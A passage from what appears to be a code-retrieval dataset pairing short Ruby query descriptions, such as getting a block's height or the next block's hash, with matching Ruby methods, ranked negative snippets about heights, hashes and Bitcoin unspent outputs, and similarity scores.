"0.6729396",
"0.6651305",
"0.6649159",
"0.6649159",
"0.66137683",
"0.65630424",
"0.6541119",
"0.6535886",
"0.64929444",
"0.6412102",
"0.6337254",
"0.63258016",
"0.63232464",
"0.6318044",
"0.63084817",
"0.6293007",
"0.6289789",
"0.62208706",
"0.6220255",
"0.62170154",
"0.62096876",
"0.62047654",
"0.6204667",
"0.6200216",
"0.6165665",
"0.6137654",
"0.6124648",
"0.60696274",
"0.60420275",
"0.60392076",
"0.6031257",
"0.6014011",
"0.60106516",
"0.59967405",
"0.595573",
"0.5949512",
"0.5946187",
"0.59406525",
"0.5938746",
"0.5936478",
"0.5894438",
"0.58573055",
"0.58380973",
"0.5786633",
"0.57824725",
"0.57735217",
"0.5767415",
"0.5766417",
"0.57655585",
"0.57622695",
"0.57464486",
"0.5735825",
"0.5735313",
"0.5724857",
"0.5714979",
"0.57089734",
"0.5672837",
"0.5671482",
"0.5668014",
"0.5658508",
"0.5644384",
"0.5640794",
"0.56393546",
"0.5619003",
"0.5616844",
"0.5612787",
"0.5610358",
"0.560634",
"0.5604116",
"0.56004137",
"0.55978733",
"0.5578864",
"0.5578039",
"0.5567973",
"0.554803",
"0.5545437",
"0.5544481",
"0.5532428",
"0.55280906",
"0.55268425",
"0.55254316",
"0.55171037",
"0.5515049",
"0.55131066",
"0.5491704",
"0.5470548",
"0.5460395",
"0.5448251",
"0.54430133"
] |
0.7381385
|
5
|
Get the height of the block.
|
def height(hash)
best_of('height') do |api|
api.height(hash)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def height\n return @height\n end",
"def height_for_block(hash)\n height = guard_block_index_access do\n bh = @block_index.block_header_for_hash(hash)\n bh && bh.height\n end\n return height if height\n b = Toshi::Models::Block.where(hsh: hash).first\n b ? b.height : nil\n end",
"def height\n @rows * @block_size\n end",
"def height\n line_count = layout.line_count\n h = (line_count - 1) * layout.spacing\n line_count.times do |i|\n h += layout.get_line_bounds(i).height\n end\n h\n end",
"def height\n return data.height\n end",
"def height\n\t\treturn @height\n\tend",
"def height_for_block_header(block_header)\n bh = guard_block_index_access { @block_index.block_header_for_hash(block_header.hash) }\n return bh.height if bh && bh.height\n return height_for_block(block_header.hash)\n end",
"def height\n get_geometry if @height.nil?\n return @height\n end",
"def height\n metadata[:height] if valid?\n end",
"def height\n size_a[1]\n end",
"def height\n if clear_border?\n geometry.height\n\n else\n border.height\n\n end\n end",
"def height(hash)\n json = Sibit::Json.new(http: @http, log: @log).get(\n Iri.new('https://chain.api.btc.com/v3/block').append(hash)\n )\n data = json['data']\n raise Sibit::Error, \"The block #{hash} not found\" if data.nil?\n h = data['height']\n raise Sibit::Error, \"The block #{hash} found but the height is absent\" if h.nil?\n @log.info(\"The height of #{hash} is #{h}\")\n h\n end",
"def height\n @dimensions.y\n end",
"def height\n return nil unless @height\n if @height < 0\n return ((FFI::NCurses.LINES + @height) - self.row) + 1\n #return (FFI::NCurses.LINES + @height) \n end\n @height\n end",
"def height\n if @y_offset + @height > @source.height\n [@source.height - @y_offset, 0].max\n else\n @height\n end\n end",
"def height\n current_node = @root\n\n return height_helper(current_node)\n end",
"def height\n bounds[:bottom] - bounds[:top]\n end",
"def height\n bounds[:bottom] - bounds[:top]\n end",
"def height\r\n assert_exists\r\n return @o.invoke(\"height\").to_s\r\n end",
"def height\n top + bottom\n end",
"def height\n @bottom_edge - @top_edge\n end",
"def height\n defined?(@ht) ? @ht : nil\n end",
"def height(_hash)\n raise Sibit::NotSupportedError, 'Blockchair API doesn\\'t provide height()'\n end",
"def height\n @y1 - @y0\n end",
"def height\n\t\tnode['height']\n\tend",
"def height\n return 0 if @root == nil\n\n current = @root\n\n return height_helper(current, 1, 1)\n end",
"def height\n attr('height')\n end",
"def height\n source_node[:height].to_i\n end",
"def height\n size.first\n end",
"def height\n size.first\n end",
"def height\n content.size\n end",
"def height\n @height || 100\n end",
"def row_height\n return @row_height\n end",
"def height\n image_ptr[:sy]\n end",
"def height\n return height_helper(@root, 0)\n end",
"def height\n return height_helper(@root, 0)\n end",
"def height\n `#{clientRect}.height`\n end",
"def height\n dimensions.last\n end",
"def height\n return height_helper(@root, 0, 1)\n end",
"def height\n return height_helper(@root, 0, 1)\n end",
"def height\n dimensions()[:y]\n end",
"def height\n @ole.Height\n end",
"def height\n @ole.Height\n end",
"def height\n lines.size\n end",
"def height\n lines.size\n end",
"def height\n memoized_info[:height]\n end",
"def get_height\n return get_keyword_value(\"FLOOR-HEIGHT\").to_f\n end",
"def height\n return 0 if @root.nil?\n return height_helper(@root, 0, 1)\n end",
"def height\n return 0 if @root.nil?\n return hegiht_helper(@root)\n end",
"def height\n instance.options[:height]\n end",
"def height\n rows\n end",
"def height()\n 0\n end",
"def retrieve_height(param)\n unless (height = param[:height])\n height = self::DEFAULT_HEIGHT if param[:list_direction] == :vertical\n height ||= param[:list_height]\n height ||= self::DEFAULT_HEIGHT\n end\n return height\n end",
"def height\n @source.height\n end",
"def height\n attributes.map { |field| field.height }.max\n end",
"def height\n return height_helper(@root)\n end",
"def height\r\n return (@y2-@y1).abs\r\n end",
"def height\n # raise NotImplementedError\n # return 0 if @root.nil?\n return height_helper(@root, 0, 1)\n end",
"def get_chain_best_block\n blocks = self.blocks_get_height\n if blocks[\"success\"]\n return blocks[\"height\"]\n else\n return nil\n end\n end",
"def height(_data_length, _item_size, viewport)\n return viewport.rect.height\n end",
"def height(style_name='original')\n geometry(style_name).height.to_i\n end",
"def height\n if alignment == :vertical\n @height ||= @options.count * @options.first.height\n else\n @height ||= @options.first.height\n end\n end",
"def height\n @height\n end",
"def height\n if root.nil?\n return nil\n else\n return root.height\n end\n end",
"def contents_height\n h = height - standard_padding * 2\n h + (@item_max * line_height)\n end",
"def height\n assert_exists\n driver.execute_script \"return arguments[0].height\", @element\n end",
"def getOffsetHeight\n DOM.getPropertyInt(@element, \"offsetHeight\")\n end",
"def height\n height_helper(@root, 0)\n end",
"def height\n return @shadow_point.y - self.y\n end",
"def height\n return @shadow_point.y - self.y\n end",
"def height\n TILE_BASE_HEIGHT\n end",
"def height\r\n @content[pn(:MediaBox)][3]\r\n end",
"def height\n @screenplay.line_height * @lines.size\n end",
"def get_best_block\n synced = self.loader_status_sync\n if synced[\"success\"]\n return synced[\"height\"]\n else\n return nil\n end\n end",
"def item_height(*args, &block)\n total_height = height - (standard_padding * 2)\n if total_height > 96\n total_height / (total_height / 96)\n else\n super(*args, &block)\n end\n end",
"def height\n @image.height\n end",
"def height\n @height = @height + 1\n end",
"def image_height\n\t\t\t@data[\"image\"][\"height\"]\n\t\tend",
"def height_calc\n lines = [@data.length, page_row_max].min rescue page_row_max\n return lines * line_height + standard_padding * 2\n end",
"def height_calc\n lines = [@data.length, page_row_max].min rescue page_row_max\n return lines * line_height + standard_padding * 2\n end",
"def glyph_height(code_point)\n return 0 if code_point.nil? || code_point < 0\n\n h = @heights[code_point]\n # 0 is a valid height\n return h.to_f unless h.nil?\n end",
"def body_height\n prev_para= nil\n @paras.inject(0.points) do |total, para|\n prev, prev_para= [prev_para, para]\n total + para.height + (prev.nil?? 0.points : prev.margin_between(para))\n end\n end",
"def height\n (self.width.to_f * (9.to_f/16.to_f)).to_i\n end",
"def height\n Vips.vips_image_get_height self\n end",
"def height\n heights = [left_height, right_height].sort\n\n heights.last\n end",
"def height\n top - bottom\n end",
"def full_height\n height + (margin * 2)\n end",
"def full_height\n height + (margin * 2)\n end",
"def full_height\n height + (margin * 2)\n end",
"def height\n features.intersection(Features::HEIGHT)\n end",
"def height\n image.size\n end",
"def height\n barcode.two_dimensional? ? (ydim * encoding.length) : (@height || 100)\n end",
"def height\n barcode.two_dimensional? ? (ydim * encoding.length) : (@height || 100)\n end",
"def box_height\n return line_height + 104 + line_height * (@params.size + 1)\n end",
"def height\n return self.rect.height\n end",
"def GetPageHeight()\n\t\treturn @h;\n\tend",
"def height(_hash)\n raise Sibit::NotSupportedError, 'Earn API doesn\\'t provide height()'\n end",
"def height; end",
"def height; end",
"def pixel_height\n @sensor_height / @height_in_pixels\n end",
"def height(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n from_examination :@original_height\n else\n dimensions(style_name).at(1)\n end\n end"
] |
[
"0.7786715",
"0.7781199",
"0.77548134",
"0.76288193",
"0.7561129",
"0.74649537",
"0.742671",
"0.74187046",
"0.73506665",
"0.7308628",
"0.728245",
"0.7275607",
"0.7272264",
"0.7221262",
"0.7216523",
"0.7182836",
"0.718262",
"0.718262",
"0.7166424",
"0.71382993",
"0.7138244",
"0.7119686",
"0.711847",
"0.7116659",
"0.71097404",
"0.7104055",
"0.7103227",
"0.7096997",
"0.7091866",
"0.7091866",
"0.70628685",
"0.70524555",
"0.7048958",
"0.70476365",
"0.703738",
"0.703738",
"0.703679",
"0.7033984",
"0.70230925",
"0.70230925",
"0.70195585",
"0.700448",
"0.700448",
"0.6979657",
"0.6979657",
"0.6978138",
"0.69760793",
"0.6972883",
"0.6960482",
"0.69559616",
"0.693563",
"0.69342154",
"0.6926381",
"0.6916274",
"0.6897209",
"0.6896187",
"0.6894776",
"0.68919027",
"0.6875382",
"0.6859379",
"0.68542",
"0.6849844",
"0.6847214",
"0.6836896",
"0.68315804",
"0.68148476",
"0.6801911",
"0.6800448",
"0.67730016",
"0.67730016",
"0.67718047",
"0.6757213",
"0.6752527",
"0.67497087",
"0.6747217",
"0.67397463",
"0.6728779",
"0.6715457",
"0.671185",
"0.671185",
"0.67080396",
"0.67009985",
"0.66826415",
"0.66799724",
"0.6660832",
"0.666062",
"0.6650304",
"0.6650304",
"0.6650304",
"0.665028",
"0.6641552",
"0.66280663",
"0.66280663",
"0.6602025",
"0.6581889",
"0.65803814",
"0.65739375",
"0.6569884",
"0.6569884",
"0.6567454",
"0.6557284"
] |
0.0
|
-1
|
Get the hash of the next block.
|
def next_of(hash)
best_of('next_of') do |api|
api.next_of(hash)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_next_block\n @store.get_block_by_prev_hash(@hash)\n end",
"def block_hash\n\t\tdigest = Digest::SHA2.new\n\n\t\tdigest << '%d' % [ self.index ]\n\t\tdigest << self.timestamp.strftime( '%s%N' )\n\t\tdigest << self.payload\n\t\tdigest << self.payload_hash\n\t\tdigest << self.proof.to_s\n\t\tdigest << self.previous_hash\n\t\t\n\t\treturn digest.hexdigest\n\tend",
"def calculate_block_hash(block)\n Digest::SHA256.hexdigest(block.block_index.to_s + block.previous_block_hash + block.timestamp + block.data)\n end",
"def next_of(hash)\n head = Sibit::Json.new(http: @http, log: @log).get(\n Iri.new('https://chain.api.btc.com/v3/block').append(hash)\n )\n data = head['data']\n raise Sibit::Error, \"The block #{hash} not found\" if data.nil?\n nxt = data['next_block_hash']\n nxt = nil if nxt == '0000000000000000000000000000000000000000000000000000000000000000'\n @log.info(\"In BTC.com the block #{hash} is the latest, there is no next block\") if nxt.nil?\n @log.info(\"The next block of #{hash} is #{nxt}\") unless nxt.nil?\n nxt\n end",
"def hash(block)\n Digest::SHA256.hexdigest(block.to_s.encode)\n end",
"def getblockhash(index)\n @api.request 'getblockhash', index\n end",
"def next_hash(hash)\n db.get(KEY_PREFIX[:next] + hash)\n end",
"def get_namecoin_hash\n return @chunks[-7].hth if is_name_new?\n if is_name_firstupdate?\n name = @chunks[-10].to_s.hth\n rand = @chunks[-9].to_s.hth\n return Bitcoin.hash160(rand + name)\n end\n rescue\n nil\n end",
"def hash\n @hash || calculate_hash!\n end",
"def latest\n Sibit::Json.new(http: @http, log: @log).get(\n URI('https://blockchain.info/latestblock')\n )['hash']\n end",
"def latest\n get_json('/latestblock')['hash']\n end",
"def latest\n uri = Iri.new('https://chain.api.btc.com/v3/block/latest')\n json = Sibit::Json.new(http: @http, log: @log).get(uri)\n data = json['data']\n raise Sibit::Error, 'The latest block not found' if data.nil?\n hash = data['hash']\n @log.info(\"The hash of the latest block is #{hash}\")\n hash\n end",
"def get_block_by_prev_hash(prev_hash)\n raise \"Not implemented\"\n end",
"def test_same_hashes\r\n\t\ts = \"Addr1<Addr2(100):Addr3<Addr4(500)\"\r\n\t\ttb = Block.new(0,0,s,0.0,\"90a2\")\r\n\t\ttb.set_calculated_hash(\"90a2\")\r\n\t\t\r\n\t\tassert_equal(1, tb.compare_current_hash)\r\n\tend",
"def next_of(_hash)\n # They don't provide next block hash\n raise Sibit::NotSupportedError, 'Blockchair API doesn\\'t provide next_of()'\n end",
"def test_different_hashes\r\n\t\ts = \"Addr1<Addr2(100):Addr3<Addr4(500)\"\r\n\t\ttb = Block.new(0,0,s,0.0,\"90a2\")\r\n\t\ttb.set_calculated_hash(\"10b4\")\r\n\t\t\r\n\t\tassert_equal(0, tb.compare_current_hash)\r\n\tend",
"def hash\n self.begin.hash ^ self.end.hash\n end",
"def hash\n 0\n end",
"def get_broadhash\n blocks = self.blocks_get_status\n if blocks[\"success\"]\n return blocks[\"broadhash\"]\n else\n return nil\n end\n end",
"def check_block_hash(curr_block)\n # rubocop:disable LineLength\n block_hash_string = curr_block.block_number + '|' + curr_block.prev_block_hash + '|' + curr_block.raw_transactions + '|' + curr_block.timestamp[0] + '.' + curr_block.timestamp[1]\n # rubocop:enable LineLength\n block_hash_string.unpack('U*')\n\n # splits the string into each character\n hash_parts = block_hash_string.split('')\n\n res = 0\n # OPTIMIZATION: store the hashes of characters so we can reuse them\n hash_parts.each do |x|\n # this returns the integer ordinal after we converted to UTF-8\n x = x.ord\n hash_array[x] = ((x**3000) + (x**x) - (3**x)) * (7**x) if hash_array[x].nil?\n res += hash_array[x]\n end\n\n # module result by constant 65536\n res = res % 65_536\n # resulting hash string in base-16\n resulting_hash = res.to_s(16)\n return unless resulting_hash != curr_block.block_hash\n\n @block_hash_error = true\n # rubocop:disable LineLength\n puts \"Line #{@curr_count}: String '#{block_hash_string}' hash set to #{curr_block.block_hash}, should be #{resulting_hash}\"\n # rubocop:enable LineLength\n puts 'BLOCKCHAIN INVALID'\n exit 1\n end",
"def generate_next_block(block_data, blockchain)\n previous_block = latest_block(blockchain)\n p previous_block\n block_index = previous_block.block_index + 1\n timestamp = Time.now.to_i.to_s\n block_hash = Digest::SHA256.hexdigest(block_index.to_s + previous_block.block_hash + timestamp + block_data)\n Block.new(block_index, previous_block.block_hash, timestamp, block_data, block_hash)\n end",
"def hash\n bytes.hash\n end",
"def get_nethash\n blocks = self.blocks_get_nethash\n if blocks[\"success\"]\n return blocks[\"nethash\"]\n else\n return nil\n end\n end",
"def next_hash(hash)\n db.next_hash(hash)\n end",
"def test_previous_hash_too_big\r\n block_checker = Minitest::Mock.new('test_block_checker')\r\n output = \"Line 0: Previous hash was 12345, should be 2710\\nLenght of previous hash too long\"\r\n assert_equal output, @g.previous_hash( '12345', 10000, block_checker, 0)\r\n end",
"def block(hash)\n head = Sibit::Json.new(http: @http, log: @log).get(\n Iri.new('https://chain.api.btc.com/v3/block').append(hash)\n )\n data = head['data']\n raise Sibit::Error, \"The block #{hash} not found\" if data.nil?\n nxt = data['next_block_hash']\n nxt = nil if nxt == '0000000000000000000000000000000000000000000000000000000000000000'\n {\n provider: self.class.name,\n hash: data['hash'],\n orphan: data['is_orphan'],\n next: nxt,\n previous: data['prev_block_hash'],\n txns: txns(hash)\n }\n end",
"def latest_block\n hash = db.best_hash\n return nil unless hash\n find_entry_by_hash(hash)\n end",
"def get_block(blk_hash)\n raise \"Not implemented\"\n end",
"def hash\r\n a = 0\r\n @id.each_byte {|c| a += c.to_i}\r\n (a + @paired.to_i) * HASH_PRIME\r\n end",
"def hash\n id.hash + 32 * bs_request.hash\n end",
"def test_previous_hash_not_equal\r\n block_checker = Minitest::Mock.new('test_block_checker')\r\n def block_checker.check_hex(string); true; end\r\n def block_checker.check_hash(actual, stored); false; end\r\n output = \"Line 0: Previous hash was 1234, should be 2710\"\r\n assert_equal output, @g.previous_hash( '1234', 10000, block_checker, 0)\r\n end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash\n return super unless has_size?\n\n res = 0\n each do |el|\n res += el.hash\n end\n return res\n end",
"def get_hash(key)\n (Zlib.crc32(key).abs % 100).to_s(36)\n end",
"def hash\n @hash || @hash = (value.hash * -1)\n end",
"def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end",
"def getblocknumber\n coind.getblocknumber\n end",
"def height_for_block(hash)\n height = guard_block_index_access do\n bh = @block_index.block_header_for_hash(hash)\n bh && bh.height\n end\n return height if height\n b = Toshi::Models::Block.where(hsh: hash).first\n b ? b.height : nil\n end",
"def hash\n Digest::SHA256.hexdigest( \"#{nonce}#{time}#{difficulty}#{prev}#{data}\" )\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash\n offset.hash\n end",
"def test_previous_hash_equal\r\n block_checker = Minitest::Mock.new('test_block_checker')\r\n def block_checker.check_hex(string); true; end\r\n def block_checker.check_hash(actual, stored); true; end\r\n assert_nil @g.previous_hash( '2710', 10000, block_checker, 0)\r\n end",
"def hash() source.hash ^ (target.hash+1); end",
"def hash() source.hash ^ (target.hash+1); end",
"def test_equal_hash\n chain = \"Person1<Person2(360):Person3<Person4(930)\"\n block = Blockchain.new(0,0,chain, 1.5,\"ch77\")\n block.setHash(\"ch77\")\n\n assert_equal(1, block.check_curr())\n end",
"def get_prev_block\n @store.get_block(@prev_block.reverse_hth)\n end",
"def prev_hash\n return nil unless out_point\n out_point.tx_hash\n end",
"def hash\n @offset.hash ^ @previous_offset.hash ^ @timestamp.hash\n end",
"def hash(block, stored_hash, hash_calc, block_check, line)\r\n return 'Block empty' if block.nil?\r\n\r\n # calculate hash value for line\r\n error = \"Line #{line}: Invalid hash set to #{stored_hash.strip}\"\r\n\r\n # if hash stored as with capital letters, return error\r\n stored_hash = stored_hash.strip # get rid of trailing white space\r\n int_hash = stored_hash.to_i(16) # get stored hash and convert to decimal\r\n # check lenght of stored hash(max4)...may be optiaml to place elsewhere\r\n return error + \"\\nHash length is too big\" if stored_hash.size >= 5\r\n\r\n # check hash for leading 0's\r\n return error + \"\\nHash contains leading zeros\" if stored_hash[0] == '0' && stored_hash.size > 1\r\n\r\n # check to make sure value is valid hex values\r\n return error + \"\\nInvalid hex value, must be lowercase and from 0-f\" unless block_check.check_hex(stored_hash)\r\n\r\n # see if calculated hash and stored has match\r\n hash = block_check.get_hash(block, hash_calc) # get hash value\r\n # removes last hash from string\r\n output_string = block_check.parse(block, '|' + stored_hash)\r\n error_two = \"Line #{line}: String '#{output_string[0]}' hash set to #{stored_hash.strip},\"\\\r\n \"should be #{hash.to_s(16)}\"\r\n return error_two unless block_check.check_hash(hash, int_hash)\r\n\r\n nil\r\n end",
"def previous_hash(stored_prev, actual_prev, block_check, line)\r\n # see if previous hash value stored correctly..less than 5 hex values\r\n error = \"Line #{line}: Previous hash was #{stored_prev}, should be #{actual_prev.to_s(16)}\"\r\n return error + \"\\nLenght of previous hash too long\" if stored_prev.size >= 5\r\n\r\n # see if leading 0's in previous hash\r\n return error + \"\\nCannot have leading 0's in previous hash\" if stored_prev[0] == '0' && stored_prev.size > 1\r\n\r\n # check to make sure string is only in hex values\r\n return error + \"\\nInvalid hex value, must be lowercase and from 0-f\" unless block_check.check_hex(stored_prev)\r\n\r\n stored_prev_hash = stored_prev.to_i(16)\r\n # see if the two values are equal\r\n return error unless block_check.check_hash(actual_prev, stored_prev_hash)\r\n\r\n nil\r\n end",
"def hexdigest\n @digest.unpack('H*'.freeze).first\n end",
"def latest_checkpoint_hash\n # Find the latest checkpoint that we have validated.\n checkpoints = Bitcoin.network[:checkpoints]\n # Start with the topmost checkpoint.\n checkpoints.keys.sort.reverse.each do |height|\n hash = checkpoints[height]\n # Only return validated checkpoints (not orphans)\n if @storage.is_block_valid?(hash)\n return hash\n end\n end\n return nil\n end",
"def next_interesting\n loop_until(->(hash) { /^0{5}/ =~ hash }) do\n @hasher.call(\"#{@id}#{@i += 1}\")\n end\n end",
"def hash\n h = @e.nil? ? 0 : @e\n h = (h << 1) ^ @r.hash\n h = (h << 1) ^ @v.hash\n end",
"def total_work_up_to_block_hash(hash)\n work = guard_block_index_access do\n bh = @block_index.block_header_for_hash(hash)\n if bh.total_work && bh.total_work > 0\n bh.total_work\n else\n nil\n end\n end\n return work if work\n blk = Toshi::Models::Block.where(hsh: hash).first\n return 0 if !blk\n blk.block_work # Not to be confused with Bitcoin::Protocol::Block#block_work which is per-block work\n end",
"def test_previous_hash_zero\r\n block_checker = Minitest::Mock.new('test_block_checker')\r\n output = \"Line 0: Previous hash was 0123, should be 2710\\nCannot have leading 0's in previous hash\"\r\n assert_equal output, @g.previous_hash( '0123', 10000, block_checker, 0)\r\n end",
"def test_previous_hash_non_hex\r\n block_checker = Minitest::Mock.new('test_block_checker')\r\n def block_checker.check_hex(string); false; end\r\n output = \"Line 0: Previous hash was 112g, should be 2710\\nInvalid hex value, must be lowercase and from 0-f\"\r\n assert_equal output, @g.previous_hash( '112g', 10000, block_checker, 0)\r\n end",
"def hash\n type.hash ^ (id.hash >> 1)\n end",
"def test_calc_hash\r\n\t\ts = \"SYSTEM>Gaozu(100)\"\r\n\t\ttb = Block.new(\"0\", \"0\", s, \"1518893687.329767000\", \"fd19\")\r\n\t\tstringVal = tb.get_calculated_hash\r\n\t\tval = stringVal.strip.eql? \"fd18\"\r\n\t\t\r\n\t\tassert_equal val, true\r\n\tend",
"def test_nonequal_hash\n chain = \"Person1<Person2(360):Person3<Person4(930)\"\n block = Blockchain.new(0,0,chain, 1.5,\"ch77\")\n block.setHash(\"m1p0\")\n\n assert_equal(0, block.check_curr())\n end",
"def latest_block(blockchain)\n blockchain[-1]\n end",
"def hash\n excl = @excl ? 1 : 0\n hash = excl\n hash ^= @begin.hash << 1\n hash ^= @end.hash << 9\n hash ^= excl << 24;\n # Are we throwing away too much here for a good hash value distribution?\n return hash & Fixnum::MAX\n end",
"def compute_hash( path )\n res = '0'\n autorelease_pool { res = NSData.sha1FromContentsOfFile(path) }\n res\n end",
"def hash\r\n # TODO what if file is empty?\r\n @hash ||= Digest::SHA1.file(File.join(@directory, @filename)).hexdigest\r\n end",
"def hash\n num = @high << 64\n num |= @low\n num.hash\n end",
"def calc_hash(pass)\n salt_cost = SCrypt::Engine.autodetect_cost(self[:salt])\n SCrypt::Engine.scrypt(pass, self[:salt], salt_cost, 32).unpack('H*').first\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n @real.hash ^ @image.hash\n end",
"def verify_hash\r\n raise \"Line #{total_block_number}: hash was incorrectly calculated\" unless @current_hash == @computed_hash\r\n\r\n true\r\n end",
"def get_lh_hash(key)\n res = 0\n key.upcase.bytes do |byte|\n res *= 37\n res += byte.ord\n end\n return res % 0x100000000\n end",
"def hash #:nodoc:\n __getobj__.hash ^ self.class.hash\n end",
"def hash\n Zlib.crc32(to_a.map(&:to_s).sort.to_s)\n end",
"def hash\n if @sha512hash != nil\n return @sha512hash.to_i(16)\n else\n super\n end\n end",
"def get_chain_best_block\n blocks = self.blocks_get_height\n if blocks[\"success\"]\n return blocks[\"height\"]\n else\n return nil\n end\n end",
"def hash(*) end",
"def next_hex\n c = self.next\n return nil if c.nil?\n return c if hex?(c)\n nil\n end",
"def block_number\n request('getblocknumber')\n end",
"def hash_code; end",
"def binary_hash\n [@hash].pack(\"H*\").reverse\n end",
"def _hash_val(b_key, &block)\n return ((b_key[block.call(3)] << 24) | \n (b_key[block.call(2)] << 16) | \n (b_key[block.call(1)] << 8) | \n (b_key[block.call(0)])) \n end",
"def current_sha\n @current_sha ||= Digest::SHA512.hexdigest(File.read(hostsfile_path))\n end",
"def total_work_up_to_block_header(block_header)\n tw = block_header.total_work\n return tw if tw && tw > 0\n return total_work_up_to_block_hash(block_header.hash)\n end",
"def hash() #:nodoc:\n prime = 31;\n result = 1;\n result = prime * result + @amount.to_i\n result = prime * result + @new_balance.to_i\n result = prime * result + (@date.nil? ? 0 : Bankjob.date_time_to_ofx(@date).hash);\n result = prime * result + (@raw_description.nil? ? 0 : @raw_description.hash);\n result = prime * result + (@type.nil? ? 0 : @type.hash);\n # don't use value date\n return result;\n end",
"def hash\n @vbits.hash\n end",
"def get_best_block\n synced = self.loader_status_sync\n if synced[\"success\"]\n return synced[\"height\"]\n else\n return nil\n end\n end",
"def get_hash(input)\n return $hasher.reset.update(input).to_s\nend",
"def mainchain_tip_hash\n head = Toshi::Models::Block.head\n head ? head.hsh : nil\n end",
"def getblockheader(block_id, verbose)\n block_hash = block_id.rhex\n entry = node.chain.find_entry_by_hash(block_hash)\n raise ArgumentError.new('Block not found') unless entry\n if verbose\n {\n hash: block_id,\n height: entry.height,\n version: entry.header.version,\n versionHex: entry.header.version.to_even_length_hex,\n merkleroot: entry.header.merkle_root.rhex,\n time: entry.header.time,\n mediantime: node.chain.mtp(block_hash),\n nonce: entry.header.nonce,\n bits: entry.header.bits.to_even_length_hex,\n previousblockhash: entry.prev_hash.rhex,\n nextblockhash: node.chain.next_hash(block_hash).rhex\n }\n else\n entry.header.to_hex\n end\n end",
"def checksum\n Digest::SHA256.hexdigest(self.to_smash(:sorted).to_s)\n end",
"def raw_hash\n @raw_hash ||= raw_hash_with_cycles[:block]\n end",
"def verify_prev_hash(prev_block)\r\n unless prev_block.nil?\r\n hash = prev_block.computed_hash\r\n raise \"Line #{total_block_number}: previous hash was #{hash}, should be #{@prev_hash}\" unless @prev_hash == hash\r\n\r\n end\r\n true\r\n end",
"def hash_byte_size\n return 20\n end"
] |
[
"0.7380781",
"0.72743124",
"0.72159004",
"0.6941488",
"0.65778035",
"0.6418618",
"0.6365502",
"0.63542974",
"0.6259321",
"0.62465227",
"0.62434775",
"0.62348044",
"0.62256366",
"0.6200852",
"0.6192944",
"0.61860096",
"0.618219",
"0.61220145",
"0.61123574",
"0.6039915",
"0.60197204",
"0.60190946",
"0.60105723",
"0.5999269",
"0.5990718",
"0.59402347",
"0.5939151",
"0.5917611",
"0.5900901",
"0.5900417",
"0.5898064",
"0.5878612",
"0.5878612",
"0.5878612",
"0.5878612",
"0.5878612",
"0.5878612",
"0.5878612",
"0.5872426",
"0.5865659",
"0.5852245",
"0.584831",
"0.5845268",
"0.582164",
"0.58159685",
"0.5815477",
"0.5815477",
"0.58087635",
"0.5776309",
"0.5767644",
"0.5767644",
"0.57453585",
"0.5733621",
"0.57173073",
"0.5713701",
"0.57110393",
"0.5700975",
"0.56808877",
"0.5672566",
"0.56725305",
"0.5658789",
"0.56586653",
"0.5649544",
"0.5639988",
"0.5629588",
"0.5619842",
"0.5618249",
"0.55992943",
"0.5579537",
"0.5578107",
"0.5575686",
"0.55719334",
"0.556732",
"0.5566279",
"0.5566279",
"0.5566279",
"0.55630124",
"0.5555801",
"0.55209994",
"0.5494098",
"0.5487743",
"0.5485726",
"0.54700655",
"0.5456923",
"0.54553694",
"0.5454607",
"0.54460895",
"0.54444355",
"0.5441665",
"0.5436801",
"0.54353917",
"0.5430927",
"0.5424823",
"0.54144907",
"0.54113054",
"0.54055345",
"0.5404553",
"0.54043657",
"0.54038155",
"0.53954446",
"0.53895956"
] |
0.0
|
-1
|
Fetch all unspent outputs per address.
|
def utxos(keys)
best_of('utxos') do |api|
api.utxos(keys)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def list_unspent(oa_address_list = [])\n btc_address_list = oa_address_list.map { |oa_address| oa_address_to_address(oa_address)}\n outputs = get_unspent_outputs(btc_address_list)\n result = outputs.map{|out| out.to_hash}\n result\n end",
"def unspent(addresses)\n get(\"addr/\"+addresses.join(\",\")+\"/utxo?noCache=1\")\n end",
"def list_unspent(addresses)\n unspents = []\n addresses.in_groups_of(500, false).collect do |group|\n unspents += list_unspent_helper(group)\n end\n unspents\n end",
"def get_unspent_txouts_for_address(address, unconfirmed = false)\n txouts = self.get_txouts_for_address(address, unconfirmed)\n txouts.select! do |t|\n not t.get_next_in\n end\n txouts\n end",
"def list_unspent(addresses)\n raise NotImplementedError\n end",
"def fetch_balance_for(address)\n unspent = 0\n api_request('queryUnspentOutputs', { addresses: [address]})['unspent'].each do |out|\n unspent += out['value']\n end\n unspent\n end",
"def fetch_balance_for(address)\n unspent = 0\n api_request('queryUnspentOutputs', { addresses: [address]})['unspent'].each do |out|\n unspent += out['value']\n end\n unspent\n end",
"def list_unspent(addresses = [], min = 1 , max = 9999999)\n listunspent(min, max, addresses)\n end",
"def listunspent(bitcoinaddress=nil, minconf=1, maxconf=nil)\n @api.request 'listunspent', minconf, maxconf, bitcoinaddress\n end",
"def get_txouts_for_address(address, unconfirmed = false)\n hash160 = Bitcoin.hash160_from_address(address)\n type = Bitcoin.address_type(address)\n get_txouts_for_hash160(hash160, type, unconfirmed)\n end",
"def fetch_transactions_for(address)\n # API may return nil instead of an empty array if address turns out to be invalid\n # (for example when trying to supply a testnet address instead of mainnet while using\n # mainnet adapter.\n if api_response = api_request('queryTransactionInventory', {addresses: [address], limit: 100})\n (api_response['txIds'] || []).map { |tid| fetch_transaction(tid, address: address) }\n else\n raise BitcoinAddressInvalid, message: \"address in question: #{address}\"\n end\n end",
